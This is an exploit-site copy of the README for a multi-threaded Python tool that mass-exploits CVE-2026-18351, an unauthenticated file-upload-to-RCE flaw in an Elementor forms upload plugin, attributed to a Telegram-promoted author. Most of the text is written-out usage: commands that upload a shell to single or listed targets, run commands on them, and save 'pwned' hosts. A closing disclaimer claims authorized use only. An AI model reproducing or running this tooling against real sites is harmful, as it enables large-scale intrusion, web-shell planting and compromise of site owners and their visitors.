## https://sploitus.com/exploit?id=72B56444-A6B0-5501-BBC8-ADA512B55501
# CVE-2026-18351
Mass exploit tool for **CVE-2026-18351** — Unauthenticated Arbitrary File Upload → RCE in **Drag and Drop File Upload for Elementor Forms credit **johenlastgen** | telegram [@johenlastgen](https://t.me/johenlastgen) | channel [@jlgnetworkredirect](https://t.me/jlgnetworkredirect)
---
## Features
- Passive vulnerability probe (no upload)
- Full exploit mode with shell upload & RCE confirmation
- Single target and batch target support
- Multi-thread support
- Configurable command execution
- Full log, vuln-only, and pwned-only output files
- Request timeout configuration
---
## Requirements
No external dependencies — uses Python standard library only.
```bash
python3 --version # 3.6+
```
---
## Usage
```bash
# Single target — passive check only (no upload)
python3 mass.py --url http://target.com --check
# Single target — exploit with default command (id)
python3 mass.py --url http://target.com --cmd id
# Single target — exploit with custom command
python3 mass.py --url http://target.com --cmd whoami
# Mass targets — passive check
python3 mass.py --list targets.txt --threads 50 --check
# Mass targets — exploit
python3 mass.py --list targets.txt --threads 50 --cmd id
# Mass targets — exploit with timeout tuning
python3 mass.py --list targets.txt --threads 100 --timeout 8 --cmd whoami
# Save full log
python3 mass.py --list targets.txt --output results.txt
# Save only vulnerable targets
python3 mass.py --list targets.txt --output-vuln vuln.txt
# Save only confirmed RCE targets
python3 mass.py --list targets.txt --output-pwned pwned.txt
# Combined output
python3 mass.py \
--list targets.txt \
--threads 50 \
--cmd id \
--output results.txt \
--output-vuln vuln.txt \
--output-pwned pwned.txt
```
---
## Options
| Option | Description |
|---|---|
| `--url` | Single target URL |
| `--list FILE` | File containing target URLs (one per line) |
| `--check` | Passive probe only — no file upload |
| `--cmd CMD` | Command to execute on shell (default: `id`) |
| `--threads N` | Number of concurrent threads (default: 20) |
| `--timeout N` | Per-request timeout in seconds (default: 10) |
| `--output FILE` | Save full log to file |
| `--output-vuln FILE` | Save only vulnerable target URLs to file |
| `--output-pwned FILE` | Save only confirmed RCE targets to file |
---
## Output States
| State | Meaning |
|---|---|
| `PWNED` | Shell uploaded and RCE confirmed |
| `VULN-NO-EXEC` | Upload accepted but shell execution failed |
| `PATCHED` | Upload rejected or nonce not found |
| `ERROR` | Network or parse failure |
---
## targets.txt Format
One URL per line. Lines starting with `#` are ignored.
```
http://target1.com
https://target2.com
# this line is ignored
http://target3.com
```
---
## Disclaimer
This project is provided solely for authorized security assessments, defensive security research, and vulnerability validation.
By using this software, you confirm that you have explicit authorization to assess the target systems. Unauthorized access to computer systems is prohibited and may violate applicable laws.
The author and contributors do not encourage or condone unauthorized use of this project and assume no responsibility or liability for any misuse, damage, or legal consequences resulting from its use.
---
## Author
**JohenLastGen** — [JLG NETWORK](https://t.me/jlgnetworkredirect)